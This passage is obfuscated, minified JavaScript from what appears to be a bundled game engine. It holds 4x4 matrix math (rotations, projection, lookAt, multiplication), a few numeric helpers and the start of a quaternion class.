_0x27cbb2 = _0x4b8457['x'], _0x4efee6 = _0x4b8457['y'], _0x36bece = _0x4b8457['z'], _0x29fa19 = Math['sqrt'](_0x27cbb2 * _0x27cbb2 + _0x4efee6 * _0x4efee6 + _0x36bece * _0x36bece); if (Math['abs'](_0x29fa19) < _0x48b838) return this; _0x27cbb2 *= _0x29fa19 = 0x1 / _0x29fa19, _0x4efee6 *= _0x29fa19, _0x36bece *= _0x29fa19; var _0x179c9d = Math['sin'](_0x357a45), _0x3eebde = Math['cos'](_0x357a45), _0x5be122 = 0x1 - _0x3eebde, _0xf07d1b = _0x5ed2dc[0x0], _0x333d97 = _0x5ed2dc[0x1], _0x257803 = _0x5ed2dc[0x2], _0x382f89 = _0x5ed2dc[0x3], _0x22e5fb = _0x5ed2dc[0x4], _0x5eb4e6 = _0x5ed2dc[0x5], _0x52237b = _0x5ed2dc[0x6], _0x586520 = _0x5ed2dc[0x7], _0xc45d39 = _0x5ed2dc[0x8], _0x503e65 = _0x5ed2dc[0x9], _0x2f300c = _0x5ed2dc[0xa], _0x20557 = _0x5ed2dc[0xb], _0x2c07cc = _0x5ed2dc[0xc], _0x34b818 = _0x5ed2dc[0xd], _0x3cc18d = _0x5ed2dc[0xe], _0x2a9d4d = _0x5ed2dc[0xf], _0x7e1043 = _0x27cbb2 * _0x27cbb2 * _0x5be122 + _0x3eebde, _0xe21ee6 = _0x4efee6 * _0x27cbb2 * _0x5be122 + _0x36bece * _0x179c9d, _0x441ef4 = _0x36bece * _0x27cbb2 * _0x5be122 - _0x4efee6 * _0x179c9d, _0x2779ee = _0x27cbb2 * _0x4efee6 * _0x5be122 - _0x36bece * _0x179c9d, _0x3a3437 = _0x4efee6 * _0x4efee6 * _0x5be122 + _0x3eebde, _0x231000 = _0x36bece * _0x4efee6 * _0x5be122 + _0x27cbb2 * _0x179c9d, _0x3ee6c3 = _0x27cbb2 * _0x36bece * _0x5be122 + _0x4efee6 * _0x179c9d, _0x2dd50e = _0x4efee6 * _0x36bece * _0x5be122 - _0x27cbb2 * _0x179c9d, _0x50ca87 = _0x36bece * _0x36bece * _0x5be122 + _0x3eebde; return this['setValues'](_0xf07d1b * _0x7e1043 + _0x22e5fb * _0xe21ee6 + _0xc45d39 * _0x441ef4, _0x333d97 * _0x7e1043 + _0x5eb4e6 * _0xe21ee6 + _0x503e65 * _0x441ef4, _0x257803 * _0x7e1043 + _0x52237b * _0xe21ee6 + _0x2f300c * _0x441ef4, _0x382f89 * _0x7e1043 + _0x586520 * _0xe21ee6 + _0x20557 * _0x441ef4, _0xf07d1b * _0x2779ee + _0x22e5fb * _0x3a3437 + _0xc45d39 * _0x231000, _0x333d97 * _0x2779ee + _0x5eb4e6 * _0x3a3437 + _0x503e65 * _0x231000, _0x257803 * _0x2779ee + _0x52237b * _0x3a3437 + _0x2f300c * _0x231000, _0x382f89 * _0x2779ee + _0x586520 * _0x3a3437 + _0x20557 * _0x231000, _0xf07d1b * _0x3ee6c3 + _0x22e5fb * _0x2dd50e + _0xc45d39 * _0x50ca87, _0x333d97 * _0x3ee6c3 + _0x5eb4e6 * _0x2dd50e + _0x503e65 * _0x50ca87, _0x257803 * _0x3ee6c3 + _0x52237b * _0x2dd50e + _0x2f300c * _0x50ca87, _0x382f89 * _0x3ee6c3 + _0x586520 * _0x2dd50e + _0x20557 * _0x50ca87, _0x2c07cc, _0x34b818, _0x3cc18d, _0x2a9d4d); }, 'rotateX': function (_0x3670a5) { var _0x508dc9 = this['val'], _0xc224d4 = Math['sin'](_0x3670a5), _0x19586e = Math['cos'](_0x3670a5), _0x2079a5 = _0x508dc9[0x4], _0x509d04 = _0x508dc9[0x5], _0x1a349f = _0x508dc9[0x6], _0x1b8b63 = _0x508dc9[0x7], _0x16600e = _0x508dc9[0x8], _0x518a53 = _0x508dc9[0x9], _0x142238 = _0x508dc9[0xa], _0x31e578 = _0x508dc9[0xb]; return _0x508dc9[0x4] = _0x2079a5 * _0x19586e + _0x16600e * _0xc224d4, _0x508dc9[0x5] = _0x509d04 * _0x19586e + _0x518a53 * _0xc224d4, _0x508dc9[0x6] = _0x1a349f * _0x19586e + _0x142238 * _0xc224d4, _0x508dc9[0x7] = _0x1b8b63 * _0x19586e + _0x31e578 * _0xc224d4, _0x508dc9[0x8] = _0x16600e * _0x19586e - _0x2079a5 * _0xc224d4, _0x508dc9[0x9] = _0x518a53 * _0x19586e - _0x509d04 * _0xc224d4, _0x508dc9[0xa] = _0x142238 * _0x19586e - _0x1a349f * _0xc224d4, _0x508dc9[0xb] = _0x31e578 * _0x19586e - _0x1b8b63 * _0xc224d4, this; }, 'rotateY': function (_0xb36d8a) { var _0x59d52f = this['val'], _0x515f25 = Math['sin'](_0xb36d8a), _0x5a52f3 = Math['cos'](_0xb36d8a), _0x19b8db = _0x59d52f[0x0], _0x34b867 = _0x59d52f[0x1], _0x16b151 = _0x59d52f[0x2], _0x10b023 = _0x59d52f[0x3], _0x4cb29c = _0x59d52f[0x8], _0x16461c = _0x59d52f[0x9], _0x5ddf25 = _0x59d52f[0xa], _0x2860ea = _0x59d52f[0xb]; return _0x59d52f[0x0] = _0x19b8db * _0x5a52f3 - _0x4cb29c * _0x515f25, _0x59d52f[0x1] = _0x34b867 * _0x5a52f3 - _0x16461c * _0x515f25, _0x59d52f[0x2] = _0x16b151 * _0x5a52f3 - _0x5ddf25 * _0x515f25, _0x59d52f[0x3] = _0x10b023 * _0x5a52f3 - _0x2860ea * _0x515f25, _0x59d52f[0x8] = _0x19b8db * _0x515f25 + _0x4cb29c * _0x5a52f3, _0x59d52f[0x9] = _0x34b867 * _0x515f25 + _0x16461c * _0x5a52f3, _0x59d52f[0xa] = _0x16b151 * _0x515f25 + _0x5ddf25 * _0x5a52f3, _0x59d52f[0xb] = _0x10b023 * _0x515f25 + _0x2860ea * _0x5a52f3, this; }, 'rotateZ': function (_0x49316f) { var _0x387381 = this['val'], _0x15912e = Math['sin'](_0x49316f), _0x5901ed = Math['cos'](_0x49316f), _0x25eb04 = _0x387381[0x0], _0x25465e = _0x387381[0x1], _0x4a48a5 = _0x387381[0x2], _0x46675c = _0x387381[0x3], _0xa53179 = _0x387381[0x4], _0x2b521b = _0x387381[0x5], _0x52a3ac = _0x387381[0x6], _0x5749a5 = _0x387381[0x7]; return _0x387381[0x0] = _0x25eb04 * _0x5901ed + _0xa53179 * _0x15912e, _0x387381[0x1] = _0x25465e * _0x5901ed + _0x2b521b * _0x15912e, _0x387381[0x2] = _0x4a48a5 * _0x5901ed + _0x52a3ac * _0x15912e, _0x387381[0x3] = _0x46675c * _0x5901ed + _0x5749a5 * _0x15912e, _0x387381[0x4] = _0xa53179 * _0x5901ed - _0x25eb04 * _0x15912e, _0x387381[0x5] = _0x2b521b * _0x5901ed - _0x25465e * _0x15912e, _0x387381[0x6] = _0x52a3ac * _0x5901ed - _0x4a48a5 * _0x15912e, _0x387381[0x7] = _0x5749a5 * _0x5901ed - _0x46675c * _0x15912e, this; }, 'fromRotationTranslation': function (_0x2e1d01, _0x333cb2) { var _0x3f8f6c = _0x2e1d01['x'], _0xc81dfd = _0x2e1d01['y'], _0x3de261 = _0x2e1d01['z'], _0x5d5a5d = _0x2e1d01['w'], _0x2c6f30 = _0x3f8f6c + _0x3f8f6c, _0x3b6982 = _0xc81dfd + _0xc81dfd, _0x421184 = _0x3de261 + _0x3de261, _0x378927 = _0x3f8f6c * _0x2c6f30, _0x4ac68d = _0x3f8f6c * _0x3b6982, _0x281c88 = _0x3f8f6c * _0x421184, _0x543d8b = _0xc81dfd * _0x3b6982, _0x3aea0e = _0xc81dfd * _0x421184, _0x5ced91 = _0x3de261 * _0x421184, _0x4eeb78 = _0x5d5a5d * _0x2c6f30, _0x2c89ce = _0x5d5a5d * _0x3b6982, _0x104a44 = _0x5d5a5d * _0x421184; return this['setValues'](0x1 - (_0x543d8b + _0x5ced91), _0x4ac68d + _0x104a44, _0x281c88 - _0x2c89ce, 0x0, _0x4ac68d - _0x104a44, 0x1 - (_0x378927 + _0x5ced91), _0x3aea0e + _0x4eeb78, 0x0, _0x281c88 + _0x2c89ce, _0x3aea0e - _0x4eeb78, 0x1 - (_0x378927 + _0x543d8b), 0x0, _0x333cb2['x'], _0x333cb2['y'], _0x333cb2['z'], 0x1); }, 'fromQuat': function (_0x370e93) { var _0x1042ed = _0x370e93['x'], _0x52030d = _0x370e93['y'], _0x417911 = _0x370e93['z'], _0xf8c5fa = _0x370e93['w'], _0x531228 = _0x1042ed + _0x1042ed, _0x91e517 = _0x52030d + _0x52030d, _0x40823c = _0x417911 + _0x417911, _0x2f8c4a = _0x1042ed * _0x531228, _0x26b96a = _0x1042ed * _0x91e517, _0x2f88a4 = _0x1042ed * _0x40823c, _0x4e67e8 = _0x52030d * _0x91e517, _0x18f3eb = _0x52030d * _0x40823c, _0x4aafda = _0x417911 * _0x40823c, _0x27cdfb = _0xf8c5fa * _0x531228, _0x491183 = _0xf8c5fa * _0x91e517, _0x31732a = _0xf8c5fa * _0x40823c; return this['setValues'](0x1 - (_0x4e67e8 + _0x4aafda), _0x26b96a + _0x31732a, _0x2f88a4 - _0x491183, 0x0, _0x26b96a - _0x31732a, 0x1 - (_0x2f8c4a + _0x4aafda), _0x18f3eb + _0x27cdfb, 0x0, _0x2f88a4 + _0x491183, _0x18f3eb - _0x27cdfb, 0x1 - (_0x2f8c4a + _0x4e67e8), 0x0, 0x0, 0x0, 0x0, 0x1); }, 'frustum': function (_0x46c367, _0x5b96d6, _0x8d312, _0x8ba3db, _0x2cd95f, _0x3dc2a8) { var _0x555d2b = 0x1 / (_0x5b96d6 - _0x46c367), _0x177f58 = 0x1 / (_0x8ba3db - _0x8d312), _0x4903c9 = 0x1 / (_0x2cd95f - _0x3dc2a8); return this['setValues'](0x2 * _0x2cd95f * _0x555d2b, 0x0, 0x0, 0x0, 0x0, 0x2 * _0x2cd95f * _0x177f58, 0x0, 0x0, (_0x5b96d6 + _0x46c367) * _0x555d2b, (_0x8ba3db + _0x8d312) * _0x177f58, (_0x3dc2a8 + _0x2cd95f) * _0x4903c9, -0x1, 0x0, 0x0, _0x3dc2a8 * _0x2cd95f * 0x2 * _0x4903c9, 0x0); }, 'perspective': function (_0x4875ff, _0xd86a7, _0x50e0f5, _0x5c8449) { var _0x37760b = 0x1 / Math['tan'](_0x4875ff / 0x2), _0x186fa8 = 0x1 / (_0x50e0f5 - _0x5c8449); return this['setValues'](_0x37760b / _0xd86a7, 0x0, 0x0, 0x0, 0x0, _0x37760b, 0x0, 0x0, 0x0, 0x0, (_0x5c8449 + _0x50e0f5) * _0x186fa8, -0x1, 0x0, 0x0, 0x2 * _0x5c8449 * _0x50e0f5 * _0x186fa8, 0x0); }, 'perspectiveLH': function (_0x355adb, _0x1dc224, _0xe6589b, _0x4bc1c7) { return this['setValues'](0x2 * _0xe6589b / _0x355adb, 0x0, 0x0, 0x0, 0x0, 0x2 * _0xe6589b / _0x1dc224, 0x0, 0x0, 0x0, 0x0, -_0x4bc1c7 / (_0xe6589b - _0x4bc1c7), 0x1, 0x0, 0x0, _0xe6589b * _0x4bc1c7 / (_0xe6589b - _0x4bc1c7), 0x0); }, 'ortho': function (_0x5e85d5, _0x5dbad7, _0x2e9565, _0xfac409, _0x4c9471, _0x1a62ee) { var _0x12ad98 = _0x5e85d5 - _0x5dbad7, _0x3bfb9f = _0x2e9565 - _0xfac409, _0x22d698 = _0x4c9471 - _0x1a62ee; return _0x12ad98 = 0x0 === _0x12ad98 ? _0x12ad98 : 0x1 / _0x12ad98, _0x3bfb9f = 0x0 === _0x3bfb9f ? _0x3bfb9f : 0x1 / _0x3bfb9f, _0x22d698 = 0x0 === _0x22d698 ? _0x22d698 : 0x1 / _0x22d698, this['setValues'](-0x2 * _0x12ad98, 0x0, 0x0, 0x0, 0x0, -0x2 * _0x3bfb9f, 0x0, 0x0, 0x0, 0x0, 0x2 * _0x22d698, 0x0, (_0x5e85d5 + _0x5dbad7) * _0x12ad98, (_0xfac409 + _0x2e9565) * _0x3bfb9f, (_0x1a62ee + _0x4c9471) * _0x22d698, 0x1); }, 'lookAtRH': function (_0x4a6354, _0x123d5a, _0x10e45a) { var _0x1f82b2 = this['val']; return _0x315721['subVectors'](_0x4a6354, _0x123d5a), 0x0 === _0x315721['lengthSq']() && (_0x315721['z'] = 0x1), _0x315721['normalize'](), _0x3a53ba['crossVectors'](_0x10e45a, _0x315721), 0x0 === _0x3a53ba['lengthSq']() && (0x1 === Math['abs'](_0x10e45a['z']) ? _0x315721['x'] += 0.0001 : _0x315721['z'] += 0.0001, _0x315721['normalize'](), _0x3a53ba['crossVectors'](_0x10e45a, _0x315721)), _0x3a53ba['normalize'](), _0x4703ea['crossVectors'](_0x315721, _0x3a53ba), _0x1f82b2[0x0] = _0x3a53ba['x'], _0x1f82b2[0x1] = _0x3a53ba['y'], _0x1f82b2[0x2] = _0x3a53ba['z'], _0x1f82b2[0x4] = _0x4703ea['x'], _0x1f82b2[0x5] = _0x4703ea['y'], _0x1f82b2[0x6] = _0x4703ea['z'], _0x1f82b2[0x8] = _0x315721['x'], _0x1f82b2[0x9] = _0x315721['y'], _0x1f82b2[0xa] = _0x315721['z'], this; }, 'lookAt': function (_0x5ed5d5, _0x354583, _0x56520a) { var _0x5899eb = _0x5ed5d5['x'], _0x5d56b5 = _0x5ed5d5['y'], _0x30488b = _0x5ed5d5['z'], _0xac7d92 = _0x56520a['x'], _0x5c5adc = _0x56520a['y'], _0x48d9ea = _0x56520a['z'], _0x31b04c = _0x354583['x'], _0x4ef424 = _0x354583['y'], _0x300005 = _0x354583['z']; if (Math['abs'](_0x5899eb - _0x31b04c) < _0x48b838 && Math['abs'](_0x5d56b5 - _0x4ef424) < _0x48b838 && Math['abs'](_0x30488b - _0x300005) < _0x48b838) return this['identity'](); var _0x348a36 = _0x5899eb - _0x31b04c, _0x3779ef = _0x5d56b5 - _0x4ef424, _0x5a4785 = _0x30488b - _0x300005, _0x28e63c = 0x1 / Math['sqrt'](_0x348a36 * _0x348a36 + _0x3779ef * _0x3779ef + _0x5a4785 * _0x5a4785), _0x4335c9 = _0x5c5adc * (_0x5a4785 *= _0x28e63c) - _0x48d9ea * (_0x3779ef *= _0x28e63c), _0x1859d1 = _0x48d9ea * (_0x348a36 *= _0x28e63c) - _0xac7d92 * _0x5a4785, _0x5eca49 = _0xac7d92 * _0x3779ef - _0x5c5adc * _0x348a36; (_0x28e63c = Math['sqrt'](_0x4335c9 * _0x4335c9 + _0x1859d1 * _0x1859d1 + _0x5eca49 * _0x5eca49)) ? (_0x4335c9 *= _0x28e63c = 0x1 / _0x28e63c, _0x1859d1 *= _0x28e63c, _0x5eca49 *= _0x28e63c) : (_0x4335c9 = 0x0, _0x1859d1 = 0x0, _0x5eca49 = 0x0); var _0x359714 = _0x3779ef * _0x5eca49 - _0x5a4785 * _0x1859d1, _0x1dd894 = _0x5a4785 * _0x4335c9 - _0x348a36 * _0x5eca49, _0x485a1e = _0x348a36 * _0x1859d1 - _0x3779ef * _0x4335c9; return (_0x28e63c = Math['sqrt'](_0x359714 * _0x359714 + _0x1dd894 * _0x1dd894 + _0x485a1e * _0x485a1e)) ? (_0x359714 *= _0x28e63c = 0x1 / _0x28e63c, _0x1dd894 *= _0x28e63c, _0x485a1e *= _0x28e63c) : (_0x359714 = 0x0, _0x1dd894 = 0x0, _0x485a1e = 0x0), this['setValues'](_0x4335c9, _0x359714, _0x348a36, 0x0, _0x1859d1, _0x1dd894, _0x3779ef, 0x0, _0x5eca49, _0x485a1e, _0x5a4785, 0x0, -(_0x4335c9 * _0x5899eb + _0x1859d1 * _0x5d56b5 + _0x5eca49 * _0x30488b), -(_0x359714 * _0x5899eb + _0x1dd894 * _0x5d56b5 + _0x485a1e * _0x30488b), -(_0x348a36 * _0x5899eb + _0x3779ef * _0x5d56b5 + _0x5a4785 * _0x30488b), 0x1); }, 'yawPitchRoll': function (_0xc1881d, _0x5bf6de, _0x174e60) { this['zero'](), _0x171c6c['zero'](), _0x39cafa['zero'](); var _0x232673 = this['val'], _0x431131 = _0x171c6c['val'], _0x28a4f6 = _0x39cafa['val'], _0x220616 = Math['sin'](_0x174e60), _0x2fb6bf = Math['cos'](_0x174e60); return _0x232673[0xa] = 0x1, _0x232673[0xf] = 0x1, _0x232673[0x0] = _0x2fb6bf, _0x232673[0x1] = _0x220616, _0x232673[0x4] = -_0x220616, _0x232673[0x5] = _0x2fb6bf, _0x220616 = Math['sin'](_0x5bf6de), _0x2fb6bf = Math['cos'](_0x5bf6de), _0x431131[0x0] = 0x1, _0x431131[0xf] = 0x1, _0x431131[0x5] = _0x2fb6bf, _0x431131[0xa] = _0x2fb6bf, _0x431131[0x9] = -_0x220616, _0x431131[0x6] = _0x220616, _0x220616 = Math['sin'](_0xc1881d), _0x2fb6bf = Math['cos'](_0xc1881d), _0x28a4f6[0x5] = 0x1, _0x28a4f6[0xf] = 0x1, _0x28a4f6[0x0] = _0x2fb6bf, _0x28a4f6[0x2] = -_0x220616, _0x28a4f6[0x8] = _0x220616, _0x28a4f6[0xa] = _0x2fb6bf, this['multiplyLocal'](_0x171c6c), this['multiplyLocal'](_0x39cafa), this; }, 'setWorldMatrix': function (_0x126954, _0x3877e8, _0x3eb429, _0x278151, _0x4889c1) { return this['yawPitchRoll'](_0x126954['y'], _0x126954['x'], _0x126954['z']), _0x171c6c['scaling'](_0x3eb429['x'], _0x3eb429['y'], _0x3eb429['z']), _0x39cafa['xyz'](_0x3877e8['x'], _0x3877e8['y'], _0x3877e8['z']), this['multiplyLocal'](_0x171c6c), this['multiplyLocal'](_0x39cafa), _0x278151 && this['multiplyLocal'](_0x278151), _0x4889c1 && this['multiplyLocal'](_0x4889c1), this; }, 'multiplyToMat4': function (_0x359bf7, _0x158bc7) { var _0x345a3a = this['val'], _0x3526fd = _0x359bf7['val'], _0x1a20db = _0x345a3a[0x0], _0x33c278 = _0x345a3a[0x1], _0x49c811 = _0x345a3a[0x2], _0x4a7c1b = _0x345a3a[0x3], _0x3612a2 = _0x345a3a[0x4], _0x1aa4d9 = _0x345a3a[0x5], _0x56db90 = _0x345a3a[0x6], _0x2a9051 = _0x345a3a[0x7], _0x2909e8 = _0x345a3a[0x8], _0x52c3b0 = _0x345a3a[0x9], _0x5c8af5 = _0x345a3a[0xa], _0x33ada2 = _0x345a3a[0xb], _0x36e122 = _0x345a3a[0xc], _0x566182 = _0x345a3a[0xd], _0x6d2ccd = _0x345a3a[0xe], _0x303880 = _0x345a3a[0xf], _0x1fcd00 = _0x3526fd[0x0], _0x1d0524 = _0x3526fd[0x1], _0x475f40 = _0x3526fd[0x2], _0x4b474a = _0x3526fd[0x3], _0x5b70d0 = _0x3526fd[0x4], _0x6f0187 = _0x3526fd[0x5], _0x4b71a3 = _0x3526fd[0x6], _0x18340e = _0x3526fd[0x7], _0x1dda8e = _0x3526fd[0x8], _0x5e0d86 = _0x3526fd[0x9], _0x5abbae = _0x3526fd[0xa], _0x4840e4 = _0x3526fd[0xb], _0x2c0fd4 = _0x3526fd[0xc], _0x3c5f3a = _0x3526fd[0xd], _0x54aaae = _0x3526fd[0xe], _0x3c0c7b = _0x3526fd[0xf]; return _0x158bc7['setValues'](_0x1fcd00 * _0x1a20db + _0x1d0524 * _0x3612a2 + _0x475f40 * _0x2909e8 + _0x4b474a * _0x36e122, _0x1d0524 * _0x33c278 + _0x1d0524 * _0x1aa4d9 + _0x475f40 * _0x52c3b0 + _0x4b474a * _0x566182, _0x475f40 * _0x49c811 + _0x1d0524 * _0x56db90 + _0x475f40 * _0x5c8af5 + _0x4b474a * _0x6d2ccd, _0x4b474a * _0x4a7c1b + _0x1d0524 * _0x2a9051 + _0x475f40 * _0x33ada2 + _0x4b474a * _0x303880, _0x5b70d0 * _0x1a20db + _0x6f0187 * _0x3612a2 + _0x4b71a3 * _0x2909e8 + _0x18340e * _0x36e122, _0x5b70d0 * _0x33c278 + _0x6f0187 * _0x1aa4d9 + _0x4b71a3 * _0x52c3b0 + _0x18340e * _0x566182, _0x5b70d0 * _0x49c811 + _0x6f0187 * _0x56db90 + _0x4b71a3 * _0x5c8af5 + _0x18340e * _0x6d2ccd, _0x5b70d0 * _0x4a7c1b + _0x6f0187 * _0x2a9051 + _0x4b71a3 * _0x33ada2 + _0x18340e * _0x303880, _0x1dda8e * _0x1a20db + _0x5e0d86 * _0x3612a2 + _0x5abbae * _0x2909e8 + _0x4840e4 * _0x36e122, _0x1dda8e * _0x33c278 + _0x5e0d86 * _0x1aa4d9 + _0x5abbae * _0x52c3b0 + _0x4840e4 * _0x566182, _0x1dda8e * _0x49c811 + _0x5e0d86 * _0x56db90 + _0x5abbae * _0x5c8af5 + _0x4840e4 * _0x6d2ccd, _0x1dda8e * _0x4a7c1b + _0x5e0d86 * _0x2a9051 + _0x5abbae * _0x33ada2 + _0x4840e4 * _0x303880, _0x2c0fd4 * _0x1a20db + _0x3c5f3a * _0x3612a2 + _0x54aaae * _0x2909e8 + _0x3c0c7b * _0x36e122, _0x2c0fd4 * _0x33c278 + _0x3c5f3a * _0x1aa4d9 + _0x54aaae * _0x52c3b0 + _0x3c0c7b * _0x566182, _0x2c0fd4 * _0x49c811 + _0x3c5f3a * _0x56db90 + _0x54aaae * _0x5c8af5 + _0x3c0c7b * _0x6d2ccd, _0x2c0fd4 * _0x4a7c1b + _0x3c5f3a * _0x2a9051 + _0x54aaae * _0x33ada2 + _0x3c0c7b * _0x303880); }, 'fromRotationXYTranslation': function (_0x12a498, _0x234c25, _0x1d4ef6) { var _0x3bfec4 = _0x234c25['x'], _0x2fa7f0 = _0x234c25['y'], _0x1dffb6 = _0x234c25['z'], _0x148605 = Math['sin'](_0x12a498['x']), _0x519e13 = Math['cos'](_0x12a498['x']), _0x4898d0 = Math['sin'](_0x12a498['y']), _0x717ae5 = Math['cos'](_0x12a498['y']), _0x530caa = _0x3bfec4, _0x1e48d9 = _0x2fa7f0, _0x3daffd = _0x1dffb6, _0x2670f3 = -_0x148605, _0x2ef36d = 0x0 - _0x2670f3 * _0x4898d0, _0x4ec6e3 = 0x0 - _0x519e13 * _0x4898d0, _0x131251 = _0x2670f3 * _0x717ae5, _0x385a89 = _0x519e13 * _0x717ae5; return _0x1d4ef6 || (_0x530caa = _0x717ae5 * _0x3bfec4 + _0x4898d0 * _0x1dffb6, _0x1e48d9 = _0x2ef36d * _0x3bfec4 + _0x519e13 * _0x2fa7f0 + _0x131251 * _0x1dffb6, _0x3daffd = _0x4ec6e3 * _0x3bfec4 + _0x148605 * _0x2fa7f0 + _0x385a89 * _0x1dffb6), this['setValues'](_0x717ae5, _0x2ef36d, _0x4ec6e3, 0x0, 0x0, _0x519e13, _0x148605, 0x0, _0x4898d0, _0x131251, _0x385a89, 0x0, _0x530caa, _0x1e48d9, _0x3daffd, 0x1); }, 'getMaxScaleOnAxis': function () { var _0x4f60dc = this['val'], _0x17e8b8 = _0x4f60dc[0x0] * _0x4f60dc[0x0] + _0x4f60dc[0x1] * _0x4f60dc[0x1] + _0x4f60dc[0x2] * _0x4f60dc[0x2], _0x324f40 = _0x4f60dc[0x4] * _0x4f60dc[0x4] + _0x4f60dc[0x5] * _0x4f60dc[0x5] + _0x4f60dc[0x6] * _0x4f60dc[0x6], _0x28c1e9 = _0x4f60dc[0x8] * _0x4f60dc[0x8] + _0x4f60dc[0x9] * _0x4f60dc[0x9] + _0x4f60dc[0xa] * _0x4f60dc[0xa]; return Math['sqrt'](Math['max'](_0x17e8b8, _0x324f40, _0x28c1e9)); } }), _0x171c6c = new _0x299eba(), _0x39cafa = new _0x299eba(), _0x3a53ba = new _0x10bb2b(), _0x4703ea = new _0x10bb2b(), _0x315721 = new _0x10bb2b(); _0x58c0b6['exports'] = _0x299eba; }, 0x15363: _0x41cb8f => { _0x41cb8f['exports'] = function (_0x13f239, _0x4b3aa3, _0x8357a6) { return Math['min'](_0x13f239 + _0x4b3aa3, _0x8357a6); }; }, 0xc378: _0x4135de => { _0x4135de['exports'] = function (_0x5011a2) { var _0x164bf0 = _0x5011a2['length']; if (0x0 === _0x164bf0) return 0x0; _0x5011a2['sort'](function (_0x109640, _0x2aa225) { return _0x109640 - _0x2aa225; }); var _0x43f224 = Math['floor'](_0x164bf0 / 0x2); return _0x164bf0 % 0x2 == 0x0 ? (_0x5011a2[_0x43f224] + _0x5011a2[_0x43f224 - 0x1]) / 0x2 : _0x5011a2[_0x43f224]; }; }, 0x9154: _0x1b28f2 => { _0x1b28f2['exports'] = function (_0x4c5cb7, _0x1b7463, _0x1f928b) { return Math['max'](_0x4c5cb7 - _0x1b7463, _0x1f928b); }; }, 0xfeb1: _0x5611ed => { _0x5611ed['exports'] = function (_0x3b2a26, _0x20a289, _0x4a261b, _0x5af970) { void 0x0 === _0x4a261b && (_0x4a261b = _0x20a289 + 0x1); var _0x385adf = (_0x3b2a26 - _0x20a289) / (_0x4a261b - _0x20a289); return _0x385adf > 0x1 ? void 0x0 !== _0x5af970 ? (_0x385adf = (_0x5af970 - _0x3b2a26) / (_0x5af970 - _0x4a261b)) < 0x0 && (_0x385adf = 0x0) : _0x385adf = 0x1 : _0x385adf < 0x0 && (_0x385adf = 0x0), _0x385adf; }; }, 0x3d82: (_0x15b317, _0x19490f, _0x27e9df) => { var _0x39445 = _0x27e9df(0x145db), _0x4df58d = _0x27e9df(0x170e2), _0x466f9b = _0x27e9df(0x7433), _0x34d642 = _0x27e9df(0x64ec), _0x495c3c = 0.000001, _0x5e82f7 = new Int8Array([0x1, 0x2, 0x0]), _0x19652e = new Float32Array([0x0, 0x0, 0x0]), _0x224654 = new _0x34d642(0x1, 0x0, 0x0), _0xdb7530 = new _0x34d642(0x0, 0x1, 0x0), _0x339b5c = new _0x34d642(), _0x2ea17c = new _0x4df58d(), _0x541d10 = new _0x39445({ 'initialize': function (_0x27da2b, _0xb6be97, _0x285831, _0x2bd209) { this['onChangeCallback'] = _0x466f9b, this['set'](_0x27da2b, _0xb6be97, _0x285831, _0x2bd209); }, 'x': { 'get': function () { return this['_x']; }, 'set': function (_0x47c8fb) { this['_x'] = _0x47c8fb, this['onChangeCallback'](this); } }, 'y': { 'get': function () { return this['_y']; }, 'set': function (_0xd0869e) { this['_y'] = _0xd0869e, this['onChangeCallback'](this); } }, 'z': { 'get': function () { return this['_z']; }, 'set': function (_0x49d166) { this['_z'] = _0x49d166, this['onChangeCallback'](this); } }, 'w': { 'get': function () { return this['_w']; }, 'set': function (_0x1bbd3a) { this['_w'] = _0x1bbd3a, this['onChangeCallback'](this); } }, 'copy': function (_0x2121c0) { return this['set'](_0x2121c0); }, 'set': function (_0x1e434a, _0x45531e, _0x5a8fcb, _0x13434d, _0x2e140d) { return void 0x0 === _0x2e140d && (_0x2e140d = !0x0), 'object' == typeof _0x1e434a ? (this['_x'] = _0x1e434a['x'] || 0x0, this['_y'] = _0x1e434a['y'] || 0x0, this['_z'] = _0x1e434a['z'] || 0x0, this['_w'] = _0x1e434a['w'] || 0x0) : (this['_x'] = _0x1e434a || 0x0, this['_y'] = _0x45531e || 0x0, this['_z'] = _0x5a8fcb || 0x0, this['_w'] = _0x13434d || 0x0), _0x2e140d && this['onChangeCallback'](this), this; }, 'add': function (_0x3be70c) { return this['_x'] += _0x3be70c['x'], this['_y'] += _0x3be70c['y'], this['_z'] += _0x3be70c['z'], this['_w'] += _0x3be70c['w'], this['onChangeCallback'](this), this; }, 'subtract': function (_0x6daa60) { return this['_x'] -= _0x6daa60['x'], this['_y'] -= _0x6daa60['y'], this['_z'] -= _0x6daa60['z'], this['_w'] -= _0x6daa60['w'], this['onChangeCallback'](this), this; }, 'scale': function (_0x5d117f) { return this['_x'] *= _0x5d117f, this['_y'] *= _0x5d117f, this['_z'] *= _0x5d117f, this['_w'] *= _0x5d117f, this['onChangeCallback'](this), this; }, 'length': function () { var _0x57d2b5 = this['x'], _0x2bfe6a = this['y'], _0x240b01 = this['z'], _0x2828a9 = this['w']; return Math['sqrt'](_0x57d2b5 * _0x57d2b5 + _0x2bfe6a * _0x2bfe6a + _0x240b01 * _0x240b01 + _0x2828a9 * _0x2828a9); }, 'lengthSq': function () { var _0xda1058 = this['x'], _0x2a3ccc = this['y'], _0x2796e9 = this['z'], _0x52773d = this['w']; return _0xda1058 * _0xda1058 + _0x2a3ccc * _0x2a3ccc + _0x2796e9 * _0x2796e9 + _0x52773d * _0x52773d; }, 'normalize': function () { var _0x3dfe21 = this['x'], _0x5a0f01 = this['y'], _0x20993e = this['z'], _0x65aac0 = this['w'], _0x491fb5 = _0x3dfe21 * _0x3dfe21 + _0x5a0f01 * _0x5a0f01 + _0x20993e * _0x20993e + _0x65aac0 * _0x65aac0; return _0x491fb5 > 0x0 && (_0x491fb5 = 0x1 / Math['sqrt'](_0x491fb5), this['_x'] = _0x3dfe21 * _0x491fb5, this['_y'] = _0x5a0f01 * _0x491fb5, this['_z'] = _0x20993e * _0x491fb5, this['_w'] = _0x65aac0 * _0x491fb5), this['onChangeCallback'](this), this; }, 'dot': function (_0x29056d) { return this['x'] * _0x29056d['x'] + this['y'] * _0x29056d['y'] + this['z'] * _0x29056d['z'] + this['w'] * _0x29056d['w']; }, 'lerp': function (_0x506a38, _0x2ff752) { void 0x0 === _0x2ff752 && (_0x2ff752 = 0x0); var _0x122dc6 = this['x'], _0x22feea = this['y'], _0x4f9c47 = this['z'], _0x581b89 = this['w']; return this['set'](_0x122dc6 + _0x2ff752 * (_0x506a38['x'] - _0x122dc6), _0x22feea + _0x2ff752 * (_0x506a38['y'] - _0x22feea), _0x4f9c47 + _0x2ff752 * (_0x506a38['z'] - _0x4f9c47), _0x581b89 + _0x2ff752 * (_0x506a38['w'] - _0x581b89)); }, 